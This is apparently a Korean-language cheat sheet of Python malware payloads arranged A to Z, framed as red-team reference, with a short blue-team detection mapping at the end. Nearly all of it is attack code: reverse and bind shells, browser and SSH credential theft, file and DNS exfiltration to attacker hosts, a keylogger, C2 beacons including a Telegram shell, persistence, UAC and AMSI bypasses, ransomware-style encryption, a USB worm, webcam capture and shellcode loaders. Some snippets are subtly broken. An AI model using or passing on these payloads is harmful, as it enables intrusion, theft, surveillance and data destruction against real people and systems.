๐Ÿ Python Malware Payload Cheat Sheet โ€” ๊ณ„์—ด A~Z

๊ถŒํ•œ ์žˆ๋Š” ์นจํˆฌ ํ…Œ์ŠคํŠธ / ๋ ˆ๋“œํŒ€ ํ›ˆ๋ จ์šฉ ์ฐธ๊ณ  ์ž๋ฃŒ. ๊ฐ ๊ณ„์—ด์€ ํƒ์ง€ ๊ด€์ (EPP/EDR/EDR ํ…”๋ ˆ๋ฉ”ํŠธ๋ฆฌ) ํ•™์Šต์„ ์ „์ œ๋กœ ์ž‘์„ฑ.

A โ€” Advanced Reverse Shell (๊ณ ๊ธ‰ ๋ฆฌ๋ฒ„์Šค ์…ธ)

reverse-shell / TLS / PTY
import socket, subprocess, os, ssl
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("10.10.10.10", 443))
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False; ctx.verify_mode = ssl.CERT_NONE
sec = ctx.wrap_socket(s)
os.dup2(sec.fileno(), 0); os.dup2(sec.fileno(), 1); os.dup2(sec.fileno(), 2)
subprocess.call(["/bin/sh", "-i"])

B โ€” Bind Shell (๋ฐ”์ธ๋“œ ์…ธ)

bind-shell
import socket, subprocess
srv = socket.socket(); srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 9999)); srv.listen(1)
c, _ = srv.accept()
while True:
    cmd = c.recv(1024).decode()
    if not cmd: break
    c.send(subprocess.run(cmd, shell=True, capture_output=True).stdout or b"")

C โ€” Credential Dumper (ํฌ๋ฆฌ๋ด์…œ ์ˆ˜์ง‘)

browser-creds / lsass-adjacent / dpapi
# Chrome ์ €์žฅ ์ฟ ํ‚ค/ํŒจ์Šค์›Œ๋“œ DB ์œ„์น˜ ํŒŒ์•… (Windows)
import os, glob, shutil, base64
targets = glob.glob(os.path.expanduser(
  r"~\AppData\Local\Google\Chrome\User Data\*\Login Data"))
for t in targets:
    shutil.copy(t, os.environ["TEMP"])  # ๋ณต์‚ฌ ํ›„ ์˜คํ”„๋ผ์ธ SQLite ๋ณตํ˜ธํ™”
# Linux: ~/.ssh, ~/.gnupg, ~/.aws/credentials ์ˆ˜์ง‘

D โ€” Data Exfiltration (๋ฐ์ดํ„ฐ ์œ ์ถœ)

exfil / http-post / dns-tunnel
import requests, os
files = [f for f in os.listdir(".") if f.endswith((".docx",".pdf",".xlsx"))]
for f in files:
    requests.post("http://c2.example.com/up", files={"f": open(f, "rb")})
# DNS ํ„ฐ๋„๋ง (์†Œ๋Ÿ‰ ๋ฐ์ดํ„ฐ)
import base64, socket
def dns_exfil(host, data, domain="exfil.attacker.com"):
    chunk = base64.b32encode(data.encode()).decode().lower()[:60]
    socket.gethostbyname(f"{chunk}.{domain}")

E โ€” Encoder / Obfuscator (๋‚œ๋…ํ™”)

base64 / exec / marshal / hex
import base64, marshal, zlib
payload = b"import os; os.system('id')"
enc = base64.b64encode(zlib.compress(marshal.dumps(compile(payload, "<s>", "exec"))))
exec(marshal.loads(zlib.decompress(base64.b64decode(enc))))  # ์‹คํ–‰๊ธฐ
# ๋‹ค์ธต ๋‚œ๋…ํ™”: base64 โ†’ zlib โ†’ marshal โ†’ XOR

F โ€” Fileless Execution (ํŒŒ์ผ๋ฆฌ์Šค)

fileless / memfd / memory-exec
# Linux memfd_create ๊ธฐ๋ฐ˜ ํŒŒ์ผ๋ฆฌ์Šค ์‹คํ–‰
import ctypes, os
libc = ctypes.CDLL("libc.so.6", use_errno=True)
fd = libc.memfd_create(b"proc", 0)
os.write(fd, open("/tmp/shell.elf","rb").read())
os.execv(f"/proc/self/fd/{fd}", ["proc"])
# Windows: python -c "exec(requests.get('http://c2/p').text)" ๋ฅผ
# ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ Run ํ‚ค / WMI ์ด๋ฒคํŠธ ๊ตฌ๋…์— ์‚ฝ์ž…

G โ€” Global Keylogger (ํ‚ค๋กœ๊ฑฐ)

keylogger / pynput / hooks
from pynput import keyboard
import requests
log = ""
def on_press(k):
    global log
    log += k.char if hasattr(k, "char") else f"[{k}]"
    if len(log) > 128:
        requests.post("http://c2.example.com/k", data={"d": log}); log = ""
with keyboard.Listener(on_press=on_press) as l: l.join()

H โ€” Hidden Persistence (์€๋‹‰ ์ง€์†์„ฑ)

persistence / cron / registry / systemd
# Windows ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ Run ํ‚ค
import winreg
k = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
    r"Software\Microsoft\Windows\CurrentVersion\Run", 0, winreg.KEY_SET_VALUE)
winreg.SetValueEx(k, "OneDriveSync", 0, winreg.REG_SZ, r"pythonw.exe C:\Temp\s.py")
# Linux cron + systemd user service
# crontab -l | echo "@reboot python3 ~/.cache/.upd.py" | crontab -

I โ€” Information Gatherer (์‹œ์Šคํ…œ ์ •๋ณด ์ˆ˜์ง‘)

recon / sysinfo / screenshot
import platform, socket, getpass, subprocess
info = {
  "host": socket.gethostname(), "user": getpass.getuser(),
  "os": platform.platform(), "ip": socket.gethostbyname(socket.gethostname()),
}
# ์Šคํฌ๋ฆฐ์ƒท
from PIL import ImageGrab
ImageGrab.grab().save("/tmp/s.png")

J โ€” Jitter & Sleep C2 (๋น„์ปจ ์ง€ํ„ฐ)

c2 / beacon / jitter
import random, time, requests
while True:
    try:
        cmd = requests.get("http://c2.example.com/beacon", timeout=5).text
        if cmd: exec(cmd)
    except: pass
    time.sleep(30 + random.randint(-10, 10))  # jitter๋กœ ์‹œ๊ทธ๋‹ˆ์ฒ˜ ํƒ์ง€ ํšŒํ”ผ

K โ€” Kernel Module Loader ๊ถŒํ•œ ์ƒ์Šน (LPE)

privesc / sudo / setuid
# Linux: SUID / sudo ์˜ค๋‚จ์šฉ ํƒ์ƒ‰
import subprocess
r = subprocess.run(["find", "/", "-perm", "-4000", "-type", "f"],
                   capture_output=True, text=True)
print(r.stdout)
# GTFOBins์— ๋Œ€์‘ํ•˜๋Š” SUID ๋ฐ”์ด๋„ˆ๋ฆฌ โ†’ ์…ธ ์Šน๊ฒฉ

L โ€” Lateral Movement (ํšก์  ์ด๋™)

smb / ssh / pass-the-hash
import paramiko  # SSH ํšก์  ์ด๋™
c = paramiko.SSHClient(); c.set_missing_host_key_policy(paramiko.AutoAddPolicy())
c.connect("10.0.0.5", username="svc", password="P@ss")
c.exec_command("curl -s http://c2/p | python3 -")  # 2๋‹จ๊ณ„ ์Šคํ…Œ์ด์ € ๋“œ๋กญ

M โ€” Metasploit ์Šคํƒ€์ผ ์Šคํ…Œ์ด์ €

stager / meterpreter
# msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -o st.py
import base64
# ์ƒ์„ฑ๋œ ํŽ˜์ด๋กœ๋“œ๋Š” 2๋‹จ๊ณ„: ์Šคํ…Œ์ด์ € โ†’ ๋‹ค์šด๋กœ๋” โ†’ ๋ณธ์ฒด
import urllib.request, exec
exec(urllib.request.urlopen("http://10.10.10.10:8080/main").read())

N โ€” Network Scanner (๋‚ด๋ถ€๋ง ์Šค์บ”)

scanner / port-sweep
import socket, concurrent.futures
def chk(ip, port):
    s = socket.socket(); s.settimeout(0.5)
    return port if s.connect_ex((ip, port)) == 0 else None
targets = [f"10.0.0.{i}" for i in range(1, 255)]
ports = [22, 80, 443, 445, 3389]
with concurrent.futures.ThreadPoolExecutor(100) as ex:
    for ip in targets:
        for r in {ex.submit(chk, ip, p) for p in ports}:
            if r.result(): print(ip, r.result())

O โ€” Overlay/Polymorphic Loader (๋‹คํ˜•์„ฑ ๋กœ๋”)

polymorphic / self-modify
import os, random
def mutate(src):  # ๋”๋ฏธ ์ฃผ์„ ์‚ฝ์ž…์œผ๋กœ ํ•ด์‹œ ํšŒํ”ผ
    junk = "\n#%x" % random.getrandbits(32)
    return src.replace("\n", junk + "\n", random.randint(1,5))
open("mut.py", "w").write(mutate(open("pay.py").read()))

P โ€” Privilege Escalation (Windows)

privesc / token / uac
# UAC bypass โ€” fodhelper.exe (HKCU ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ํ•˜์ด์žฌํ‚น)
import winreg
k = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
  r"Software\Classes\ms-settings\Shell\Open\command", 0, winreg.KEY_WRITE)
winreg.SetValueEx(k, "", 0, winreg.REG_SZ, "cmd.exe")
winreg.SetValueEx(k, "DelegateExecute", 0, winreg.REG_SZ, "")
subprocess.Popen(r"C:\Windows\System32\fodhelper.exe", creationflags=0x08000000)

Q โ€” Quaratine Evasion / AV Bypass

av-bypass / amsi / splitter
# AMSI patch (x64)
import ctypes
buf = b"\xB8\x57\x00\x07\x80\xFF\xC0\xC3"  # mov eax,0x80070057; inc eax; ret โ€” ํŒจ์น˜ ๋ณ€ํ˜•
ctypes.windll.kernel32.VirtualProtect.restype = ctypes.c_bool
# string splitting + charcode ์กฐํ•ฉ์œผ๋กœ ์‹œ๊ทธ๋‹ˆ์ฒ˜ ๋ถ„์‚ฐ
exec("".join(map(chr,[105,109,112,111,114,116,32,111,115])))

R โ€” Ransomware-Sim (์•”ํ˜ธํ™” ์‹œ๋ฎฌ๋ ˆ์ด์…˜)

crypto / ransom / aes
# ํ›ˆ๋ จ์šฉ: ์ง€์ • ํ…Œ์ŠคํŠธ ๋””๋ ‰ํ„ฐ๋ฆฌ๋งŒ ๋Œ€์ƒ
import os
from cryptography.fernet import Fernet
key = Fernet.generate_key(); f = Fernet(key)
for root, _, files in os.walk("/test/target"):
    for fn in files:
        p = os.path.join(root, fn)
        data = open(p, "rb").read()
        open(p + ".locked", "wb").write(f.encrypt(data)); os.remove(p)

S โ€” Steganography Payload (์Šคํ…Œ๊ฐ€๋…ธ๊ทธ๋ž˜ํ”ผ)

stego / lsb / image-payload
# LSB ์ด๋ฏธ์ง€์— ํŽ˜์ด๋กœ๋“œ ์€๋‹‰
from PIL import Image
img = Image.open("cover.png"); px = img.load()
data = open("pay.py","rb").read().hex()
for i, ch in enumerate(data):
    x, y = divmod(i, img.width)
    r, g, b = px[x, y][:3]
    px[x, y] = (r & ~3 | int(ch,16), g, b)
img.save("out.png")  # ๋‹ค์šด๋กœ๋“œ ํ›„ LSB ์ถ”์ถœ โ†’ exec

T โ€” Telegram C2 (์†Œ์…œ ํ”Œ๋žซํผ C2)

c2 / telegram / api
import requests, time
BOT, CHAT = "BOT_TOKEN", "CHAT_ID"
def poll():
    off = 0
    while True:
        for u in requests.get(f"https://api.telegram.org/bot{BOT}/getUpdates?offset={off}").json()["result"]:
            off = u["update_id"] + 1
            msg = u["message"]["text"]
            if msg.startswith("/sh"):
                import subprocess
                requests.post(f"https://api.telegram.org/bot{BOT}/sendMessage",
                    data={"chat_id": CHAT, "text": subprocess.run(msg[4:], shell=True,
                          capture_output=True).stdout.decode(errors="ignore")[:4000]})
        time.sleep(3)

U โ€” USB Propagation (USB ํ™•์‚ฐ)

worm / usb / spread
import os, shutil, glob
# ๋ฆฌ๋ฌด๋ฒ„๋ธ” ๋“œ๋ผ์ด๋ธŒ ํƒ์ง€ ํ›„ ์ž๊ฐ€ ๋ณต์‚ฌ
for drv in "DEFGHIJKLMNOPQRSTUVWXYZ":
    p = f"{drv}:/"
    if os.path.exists(p) and os.access(p, os.W_OK):
        shutil.copy(__file__, p + ".sys_update.py")
        # ๋ฐ”๋กœ๊ฐ€๊ธฐ/autorun ๊ธฐ๋ฐ˜ ํŠธ๋ฆฌ๊ฑฐ (ํ›ˆ๋ จ ํ™˜๊ฒฝ ํ•œ์ •)

V โ€” VM/Sandbox Detection (์ƒŒ๋“œ๋ฐ•์Šค ํšŒํ”ผ)

sandbox-evasion / anti-vm
import platform, os
def is_sandbox():
    if "VirtualBox" in platform.platform() or "VMware" in platform.platform(): return True
    if os.path.exists("/.dockerenv") or "microsoft" in platform.release().lower(): return True
    import psutil
    return any("wireshark" in p.name().lower() for p in psutil.process_iter())
if is_sandbox(): os._exit(0)  # ๋ฌดํ•ด ์ข…๋ฃŒ๋กœ ๋™์  ๋ถ„์„ ํšŒํ”ผ

W โ€” Webcam / Mic Capture (์›น์บ  ์บก์ฒ˜)

webcam / surveillance
import cv2, requests
cam = cv2.VideoCapture(0)
ret, frame = cam.read()
if ret:
    cv2.imwrite("c.jpg", frame)
    requests.post("http://c2.example.com/cam", files={"img": open("c.jpg","rb")})
cam.release()

X โ€” XOR Crypter (XOR ํฌ๋ฆฝํ„ฐ)

crypter / xor / shellcode-loader
import ctypes
key, shellcode = b"\x2a", b"\x90\xcc..."  # ์ธ์ฝ”๋”ฉ๋œ ์…ธ์ฝ”๋“œ
dec = bytes([b ^ key[0] for b in shellcode])
buf = ctypes.create_string_buffer(dec, len(dec))
ctypes.windll.kernel32.VirtualProtect.restype = ctypes.c_bool
ctypes.windll.kernel32.VirtualProtect(buf, len(dec), 0x40,
    ctypes.byref(ctypes.c_ulong()))
f = ctypes.CFUNCTYPE(ctypes.c_void_p)(ctypes.addressof(buf)); f()

Y โ€” Yara Evasion / Malleable Payload (YARA ํšŒํ”ผ)

yara / signature-split
# ๋ฌธ์ž์—ด ์‹œ๊ทธ๋‹ˆ์ฒ˜ ๋ถ„์‚ฐ โ€” ํƒ์ง€ ๋ฃฐ ์šฐํšŒ ํŒจํ„ด
parts = ["import so", "cket,subp", "rocess\nsubp", "rocess.run('id')"]
exec("".join(parts))
# ๋Ÿฐํƒ€์ž„ ๋ฌธ์ž์—ด ์žฌ๊ตฌ์„ฑ, UUID/ํ™˜๊ฒฝ๋ณ€์ˆ˜์—์„œ ์กฐ๊ฐ ๋ณต์›๋„ ๋™์ผ ์›๋ฆฌ

Z โ€” Zero-Drop Exfil via DNS TXT (์•”ํ˜ธํ™” ์ฑ„๋„)

dns / covert-channel
# TXT ๋ ˆ์ฝ”๋“œ ๊ธฐ๋ฐ˜ ๋‹ค์šด๋กœ๋” โ€” ๋ฐฉํ™”๋ฒฝ ์•„์›ƒ๋ฐ”์šด๋“œ 53 ์šฐํšŒ
import dns.resolver, base64
a = dns.resolver.resolve("payload.attacker.com", "TXT")
exec(base64.b64decode("".join([s.strings[0] for s in a])))

๐Ÿ›ก๏ธ ๋ฐฉ์–ด ๊ด€์  ๋งคํ•‘ (Blue Team)

๊ณ„์—ด A,B  โ†’ ์ด์ƒํ•œ outbound TLS/PTY, dup2 ํ‘œ์ค€์ž…์ถœ๋ ฅ ๋ฆฌ๋‹ค์ด๋ ‰์…˜ ๊ฐ์‹œ
๊ณ„์—ด C,D  โ†’ DLP, ๋ธŒ๋ผ์šฐ์ € ํ”„๋กœํ•„ ์ ‘๊ทผ ์ฐจ๋‹จ, DNS ์ฟผ๋ฆฌ ๊ธธ์ด/๋นˆ๋„ ์ด์ƒํƒ์ง€
๊ณ„์—ด E,O,X,Y โ†’ exec/eval/compile ํ˜ธ์ถœ ์Šคํƒ ๊ฐ์‚ฌ, ์ •์ +๋™์  ํ•˜์ด๋ธŒ๋ฆฌ๋“œ ๋ถ„์„
๊ณ„์—ด F,H  โ†’ cron/systemd/Run ํ‚ค ๋ฌด๊ฒฐ์„ฑ ๋ชจ๋‹ˆํ„ฐ๋ง (auditd, Sysmon EID 13)
๊ณ„์—ด K,P  โ†’ SUID ๋ณ€๊ฒฝ ์•Œ๋ฆผ, UAC ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ hijack ์ด๋ฒคํŠธ
๊ณ„์—ด Q,V  โ†’ AMSI ์ฝ˜ํ…์ธ  ๊ฒ€์‚ฌ, ๊ฐ€์ƒํ™˜๊ฒฝ ํ‘œ์‹ ๋…ธ์ด์ฆˆ ์ถ”๊ฐ€
๊ณ„์—ด J,T  โ†’ ๋น„์ปจ ์ฃผ๊ธฐ ๋ถ„์„(Jitter), SaaS API ์•„์›ƒ๋ฐ”์šด๋“œ ์ •์ฑ